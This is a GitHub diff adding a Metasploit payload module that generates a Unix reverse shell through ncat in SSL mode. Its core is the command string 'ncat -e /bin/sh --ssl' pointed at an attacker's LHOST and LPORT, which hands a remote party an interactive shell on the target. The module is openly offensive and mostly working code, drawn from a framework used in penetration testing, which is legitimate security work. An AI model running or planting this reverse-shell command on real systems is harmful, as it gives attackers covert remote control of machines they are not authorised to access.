File tree Expand file tree Collapse file tree 1 file changed +51
-0
lines changed
modules/payloads/singles/cmd/unix Expand file tree Collapse file tree 1 file changed +51
-0
lines changed Original file line number Diff line number Diff line change
1
+ ##
2
+ # This module requires Metasploit: http://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core/handler/reverse_tcp_ssl'
7
+ require 'msf/base/sessions/command_shell'
8
+ require 'msf/base/sessions/command_shell_options'
9
+
10
+ module MetasploitModule
11
+
12
+ CachedSize = :dynamic
13
+
14
+ include Msf ::Payload ::Single
15
+ include Msf ::Sessions ::CommandShellOptions
16
+
17
+ def initialize ( info = { } )
18
+ super ( merge_info ( info ,
19
+ 'Name' => 'Unix Command Shell, Reverse TCP (via ncat)' ,
20
+ 'Description' => 'Creates an interactive shell via ncat, utilising ssl mode' ,
21
+ 'Author' => 'C_Sto' ,
22
+ 'License' => MSF_LICENSE ,
23
+ 'Platform' => 'unix' ,
24
+ 'Arch' => ARCH_CMD ,
25
+ 'Handler' => Msf ::Handler ::ReverseTcpSsl ,
26
+ 'Session' => Msf ::Sessions ::CommandShell ,
27
+ 'PayloadType' => 'cmd' ,
28
+ 'RequiredCmd' => 'ncat' ,
29
+ 'Payload' =>
30
+ {
31
+ 'Offsets' => { } ,
32
+ 'Payload' => ''
33
+ }
34
+ ) )
35
+ end
36
+
37
+ #
38
+ # Constructs the payload
39
+ #
40
+ def generate
41
+ super + command_string
42
+ end
43
+
44
+ #
45
+ # Returns the command string to use for execution
46
+ #
47
+ def command_string
48
+ "ncat -e /bin/sh --ssl #{ datastore [ 'LHOST' ] } #{ datastore [ 'LPORT' ] } "
49
+ end
50
+
51
+ end
You can’t perform that action at this time.
0 commit comments